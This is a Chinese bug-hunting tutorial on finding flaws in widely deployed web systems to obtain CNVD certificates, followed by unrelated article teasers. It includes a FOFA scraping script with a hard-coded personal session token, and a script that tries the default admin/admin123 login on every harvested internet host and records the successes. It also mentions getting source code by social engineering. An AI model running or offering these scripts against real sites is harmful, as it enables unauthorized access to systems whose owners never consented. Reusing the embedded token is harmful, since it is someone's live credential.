88 SRC挖掘-拿下CNVD证书开源闭源售卖系统

目录

    • 1.开源系统、闭源系统、售卖系统
    • 2.如何寻找上述三类系统并进行安全测试
    • 3.如何挑简单的入手最快速度获取证书装x
    • 演示案例:
      • 某开源逻辑审计配合引擎实现通用
      • 某闭源审计或黑盒配合引擎实现通用
      • 某售卖审计或黑盒配合引擎实现通用
    • 涉及资源:

在这里插入图片描述
要挖cnvd是有一个条件的,那就是通用性要100+,就可以达到证书的级别,不然的话,没有什么作用

1.开源系统、闭源系统、售卖系统

通用性100+ :表示挖到的漏洞影响影响范围(域名、服务器、ip这些)个数达到100以上

开源系统:这套程序源码在网上已经给出来了,可以拿到源码

闭源系统:程序源码不公开,一般拿不到源码,你虽然可以接触到系统,但是里面的系统会对源代码加密或者编译,那么这套系统你是看不到真实的源代码;第二种情况是,这套系统你压根接触不到,只给你使用或者给你一个管理的使用权限,她不会给到你系统真实的组成代码

售卖系统:可能拿到源码,也可能拿不到(社工)

它们的主要区别是源码能不能得到,如果有源码我们就能够进行代码审计,我们分析代码要根据程序自身语言进行分析;如果没有源码的话,就要采用黑盒测试

2.如何寻找上述三类系统并进行安全测试

开源:各大源码站下载代码审计

闭源:Fofa搜索尝试获取源码审计,不一定能获取或黑盒测试

售卖:套路社工获取源码或购买源码审计或黑盒测试

确定无源码和常规测试没有方法的情况下,可利用JS文件寻找测试接口

3.如何挑简单的入手最快速度获取证书装x

目前java难度最大,py项目较少,挑php, aspx入手

其中php代码清晰明了,前期讲过,aspx涉及反编译代码后审计

技术点:各种语言代码审计,无源码除常规安全测试外js下的测试口等

演示案例:

某开源逻辑审计配合引擎实现通用

使用fofa搜索网站后台判断目前这套程序有多少人在使用,是否100+
在这里插入图片描述
如果这边搜索出来的结果只有一条,那挖出来也没什么意思

在搭建网站的时候,导入数据库路径要双斜杠
在这里插入图片描述
在这里插入图片描述
在安装网站的时候,我们发现没有设置网站后台的账号密码,说明这个账号密码是默认
在这里插入图片描述
在这里插入图片描述
使用脚本将刚才在fofa上搜索到符合条件的网站域名给爬下来

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml
import threading                      # 导入threading模块实现多线程
import timedef fofa_tiqu(Start,End):# 循环切换分页search_data = '"/admindm-yourname/g.php"'                                         # /admindm-yourname/g.phpurl = 'https://fofa.info/result?qbase64='                                         # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")      # 把我们的搜索关键字加密成base64字符串headers = {                                                                       # 请求的头部,用于身份验证# cookie 要改成你自己的,我的账号一退出,这cookie就会过期了'cookie':'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2ODA2OTQ3NjV9.7G0jLLhv_jDHgi_8UGtTsTSBL1iN5diS7EDQQ4oX8qYunSoJAsXWMAKm2kpVwp3Q6IeT8t7cP3bPEcDWyaWLuw;'}# 循环爬取数据for yeshu in range(Start,End + 1):                                                         # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身try:# print(yeshu) # 1,2,3,4,5,6,7,8,9urls = url + search_data_bs + "&page=" + str(yeshu)  # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据print(f"正在提取第{yeshu}页数据-{urls}")# urls 请求的URL    headers 请求头,里面包含身份信息result = requests.get(urls, headers=headers).content  # 使用requests模块的get方法请求网站获取网站源代码,content读取数据etree = html.etree  # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档# print(result.decode('utf-8'))                                               # 查看返回结果soup = etree.HTML(result)  # result.decode('utf-8') 请求返回的HTML代码ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')  # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)# set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重ipdata = '\n'.join(set(ip_data))  # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)if 'http' in ipdata:             # 判断ipdata中是否存在http字符串,存在说明数据获取成功print(f"第{yeshu}页数据{ipdata}")with open(r'ip.txt', 'a+') as f:  # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加f.write(ipdata+ '\n')  # write() 方法写入数据time.sleep(0.5)except Exception as e:passif __name__ == '__main__':            # __main__ 就是一个模块的测试变量,在这个判断内的代码只会在运行当前模块才会执行,在模块外部引入文件进行调用是不会执行的yeshu = int(input("您要爬取多少页数据(整数):"))thread = 5                # 控制要创建的线程,本来开10个但是太快了服务器反应不过来,获取到的数据少了很多# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(1,thread + 1):i  = int(yeshu / thread)    # 页数除线程数(目的是让每一个线程都获取部分数据,分工)End = int(i * x)            # 结束的页数,设yeshu=50: 5、10、15、20、25...Start = int(i * (x-1) +1)   # 开始的页数,            1、6、11、16、21# 我上面这样写的目的就是,让线程分工合作。如:线程1就去获取1 -5页的数据、线程2就去获取6 -10页的数据...# print(Start,End)t = threading.Thread(target=fofa_tiqu,kwargs={"Start":Start,"End":End})     # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参t.start()                      # 启动线程,让他开始工作

在这里插入图片描述
再使用脚本帮我们检测弱口令

import requests  # requests模块是用来发送网络请求的  安装:pip install requestsdef check_login():data={                                                     # 登录的参数,自己在本地登录拦截就知道他的请求参数是啥'user':'admin','password':'admin123'}for ip in open('ip.txt'):                                  # ip.txt 就是刚才我们通过fofa提取出来的目标网站ipip = ip.replace('\n', '')                              # replace() 方法替换字符串,将换行替换为空urls = ip +'/admindm-yourname/mod_common/login.php?act=login'    # 拼接上我们的登录页面的url路径try:# print(f"正在检测:{ip}")# requests模块是用来发送网络请求的 .get() 发送get请求    status_code获取请求之后的状态码,200正常发送说明存在漏洞result = requests.post(urls,data=data)if result.status_code == 200:                          # 先判断请求的状态码是否为200# content获取返回的数据  decode 指定获取数据的编码格式if 'sorry' in result.content.decode('utf-8'):      # 判断当前网站是否存在漏洞(从响应的数据中判断是否存在sorry,如果存在就是登录失败,否则登录成功)print(ip+' | no')else:print(ip+' | ok')# print(poc_data.content.decode('utf-8'))with open(r'vuln.txt', 'a') as f:                         # 将存在漏洞的网站url存入本地文件中f.write(ip + '\n')                                    # write()文件写入方法,\n 换行让一个url占一行except Exception as e:pass# print(e)if __name__ == '__main__':check_login()

在这里插入图片描述
我们也可以使用js文件进行网站搜索
在这里插入图片描述
这边的结果是有300多个
在这里插入图片描述
cnvd搜索这套系统之前的漏洞提交情况
在这里插入图片描述在这里插入图片描述
可能我们的技术不高,但是我们的思路够骚,也是可以吃到西瓜的

某闭源审计或黑盒配合引擎实现通用

Seay源代码审计系统——(只支持PHP语言,单一,速度快,审计结果相对Fortify较少)

github下载:https://github.com/f1tz/cnseay

直接下载:https://download.ihsdus.cn/down/2022down/3/01/Seayydmsjxt.rar?timestamp=640dd

在这里插入图片描述
有些漏洞位置在后台目录下,这些漏洞的利用前提是需要后台权限,意义不大,可忽略

某售卖审计或黑盒配合引擎实现通用

1.尝试性获取源码
2.类似java或.net编译类文件反编译源码-dnspy,idea
在这里插入图片描述
很多源码封装成dll,放到bin目录的
在这里插入图片描述
把这些dll文件导入进去
在这里插入图片描述
现在我们看它源码,一个个分析
在这里插入图片描述

3.无源码情况下的JS接口数据提交测试模拟-jsfinder,手工,扫描
例:使用fofa搜索:app=“网校登录系统”
在这里插入图片描述
这是一个网站系统
在这里插入图片描述
我们在没有网站的信息情况下面,首先排除常规测试,就是工具扫一下,我们这里讲一下js测试的

源码有php、python、java这种脚本去处理,还有一种是js处理,例如登录请求可以使用后端代码去处理,也可以通过js里面的ajax或里面的代码去处理,所以这个js也可以和数据进行交互

使用jsfind爬取目标接口

python3 JSFinderPlus.py -u 目标url

在这里插入图片描述
通过jsfind这个工具和脚本发现这个网站有更多测试的地方,通过扫描工具是扫不出这个结果,因为它后面还跟着参数
在这里插入图片描述
jsfind的原理就是类似爬虫,通过前端代码去发现这些接口,获取你网页加载资源文件里面返回的东西,来获取更多类似爬虫的东西,然后把这个东西展示出来
在这里插入图片描述
jsfind在结果上有些不全,误报或者不灵,尽量手工配合这个工具一起使用

也可以使用fuzz字典当中的js路径配合路径扫描工具进行扫描
在这里插入图片描述
我们可以打开这些接口,去发现里面有没有一些新的接口、URL地址、资产信息和一些相关的js代码,分析js代码有没有一些调用接口,新的地址出现

如果实在没有源码,或者常规渗透完,可以找js接口进行测试

python是我们在挖掘漏洞里面的一个好帮手,在大家搞ctf比赛,红蓝对抗、挖漏洞,后期涨薪水,工作里面处理任务,这个python都有用处

谷歌验证码,拖放式验证码,人工智能的验证码,那就没有办法了,如果单纯式图片形式的那可以

涉及资源:

js链接爬取:https://github.com/Threezh1/JSFinder
dnSpy反编译文件:
https://fletime.lanzoux.com/iDxcCj60qlc
https://fletime.lanzoux.com/iP8sCj60scf
https://fletime.lanzoux.com/i3kGmj5yqwb
网站测试字典:https://github.com/TheKingOfDuck/fuzzDicts

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/252756.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10s初认识多线程创建四种方法

1 继承Thread类 2 实现Runnable接口 3 实现Callable接口 4 多线程池 1-2两方法 10s学会教程网址: http://t.csdnimg.cn/UPy1r 本文简略提及多线程池 -》提前创建多个线程,放在一个“容器”,用时取出,不用即放回池中 优点-》响应…

博客|基于Springboot的个人博客系统设计与实现(源码+数据库+文档)

个人博客系统目录 目录 基于Springboot的个人博客系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员功能实现 (1)用户管理 (2)文章分类管理 (3)公告信息管理 (4&#…

MySQL查询优化技巧和10个案例展示

优化MySQL查询的实战技巧: **避免使用SELECT ***:只获取需要的列,这样可以减少数据传输量,提高查询效率。使用索引:为查询频繁的列创建索引,可以显著提高查询速度。但请注意,索引并非万能&…

AI新宠Arc浏览器真可以取代Chrome吗?

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

缩略图保持加密(TPE)论文

文献: R.Zhao,Y.Zhang,Y.Nan,W.Wen,X.Chai,andR. Lan, “Primitively visually meaningful image encryption: A new paradigm,” Inf. Sci. (Ny), Vol. 613, pp. 628–48, 2022. DOI: 10.1016/j.ins.2022.08.027. (1) 第1行:原始图像 第2行:加密图像 加密的目标: 原始…

MongoDB从入门到实战之.NET Core使用MongoDB开发ToDoList系统(1)-后端项目框架搭建

前言: 前面的四个章节我们主要讲解了MongoDB的相关基础知识,接下来我们就开始进入使用.NET7操作MongoDB开发一个ToDoList系统实战教程。本章节主要介绍的是如何快熟搭建一个简单明了的后端项目框架。 MongoDB从入门到实战的相关教程 MongoDB从入门到实战…

Flink cdc3.0动态变更表结构——源码解析

文章目录 前言源码解析1. 接收schema变更事件2. 发起schema变更请求3. schema变更请求具体处理4. 广播刷新事件并阻塞5. 处理FlushEvent6. 修改sink端schema 结尾 前言 上一篇Flink cdc3.0同步实例 介绍了最新的一些功能和问题,本篇来看下新功能之一的动态变更表结…

设计模式学习笔记04(小滴课堂)

1.创建基础类: 调用它进行类对象的复制: 但是如果属性都是基本数据类型确实像这样很简单,但是如果属性中也包含复杂的数据类型呢? 再去测试一下: 我们发现person1和person2的list属性值的内容是同步的,这显…

探索C语言结构体:编程中的利器与艺术

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:C语言学习 贝蒂的主页:Betty‘s blog 1. 常量与变量 1. 什么是结构体 在C语言中本身就自带了一些数据类型&#x…

浏览器唯一标识(浏览器指纹)fingerprintjs

目标 H5用户在未登录前,经常也需要记录游客身份,便于记录用户操作习惯,给用户推荐相关产品。H5项目是运行在浏览器环境的,浏览器没有提供相关设备ID的信息。很多项目会随机生成一个UUID,并持久化存储在localStorage&a…

C#在既有数组中插入另一个数组:Array.Copy方法 vs 自定义插入方法

目录 一、使用的方法 1.使用Array.Copy方法 2.Copy(Array, Int32, Array, Int32, Int32) 3. 使用自定义的方法 二、实例 1.示例1:使用Array.Copy方法 2.示例2:使用自定义的方法 一、使用的方法 1.使用Array.Copy方法 首先定义了一个名为InsertAr…

基于Vue2用keydown、keyup事件实现长按键盘任意键(或组合键)3秒触发自定义事件(以F1键为例)

核心代码 <template></template> <script> export default {created() {//监听长按快捷键addEventListener("keydown", this.keydown);addEventListener("keyup", this.keyup);},destroyed(d) {//移除长按快捷键removeEventListener(&…

【python】绘制春节烟花

一、Pygame库春节烟花示例 下面是一个使用Pygame实现的简单春节烟花效果的示例代码。请注意&#xff0c;运行下面的代码之前&#xff0c;请确保计算机上已经安装了Pygame库。 import pygame import random import math from pygame.locals import *# 初始化pygame pygame.ini…

颐和园龙纹珍宝展亮相,文物预防保护科技护航

在皇家园林颐和园的深处&#xff0c;一场独特的文化盛宴正静静上演。2月1日&#xff0c;“祥龙贺岁—颐和园藏龙纹题材文物特展”在德和园华丽揭幕。此次特展汇聚了66件珍贵文物&#xff0c;包括玉器、瓷器、书画、珐琅、家具等&#xff0c;每一件都是颐和园园藏的瑰宝。这些文…

Windows编程入门-窗口控件-资源操作

window控件&#xff1a; 控件是常见的窗口上的交互元素例如&#xff1a;一个按钮&#xff0c;一个复选框&#xff0c;一个列表框等。 当控件的特定功能被触发后&#xff0c;会主动发送消息通知父窗口&#xff0c;父窗口可以通过发送消息给控件控制控件的行为。 控件的本质是一个…

Java开发IntelliJ IDEA2023

IntelliJ IDEA 2023是一款强大的集成开发环境&#xff08;IDE&#xff09;&#xff0c;专为Java开发人员设计。它提供了许多特色功能&#xff0c;帮助开发人员更高效地编写、测试和调试Java应用程序。以下是一些IntelliJ IDEA 2023的特色功能&#xff1a; 智能代码编辑器&…

MQ,RabbitMQ,SpringAMQP的原理与实操

MQ 同步通信 异步通信 事件驱动优势&#xff1a; 服务解耦 性能提升&#xff0c;吞吐量提高 服务没有强依赖&#xff0c;不担心级联失败问题 流量消峰 ​ 小结: 大多情况对时效性要求较高&#xff0c;所有大多数时间用同步。而如果不需要对方的结果&#xff0c;且吞吐…

20240202在Ubuntu20.04.6下使用whisper.cpp的CPU模式

20240202在Ubuntu20.04.6下使用whisper.cpp的CPU模式 2024/2/2 14:15 rootrootrootroot-X99-Turbo:~/whisper.cpp$ ./main -l zh -osrt -m models/ggml-medium.bin chs.wav 在纯CPU模式下&#xff0c;使用medium中等模型&#xff0c;7分钟的中文视频需要851829.69 ms&#xf…

代码随想录 Leetcode51. N 皇后

题目&#xff1a; 代码(首刷看解析 2024年2月6日&#xff09;&#xff1a; class Solution { private:vector<vector<string>> res;void backtracking(int n, int row, vector<string>& chessboard) {if (row n) {res.push_back(chessboard);return;}f…

SpringBoot activemq收发消息、配置及原理

SpringBoot集成消息处理框架 Spring framework提供了对JMS和AMQP消息框架的无缝集成&#xff0c;为Spring项目使用消息处理框架提供了极大的便利。 与Spring framework相比&#xff0c;Spring Boot更近了一步&#xff0c;通过auto-configuration机制实现了对jms及amqp主流框架…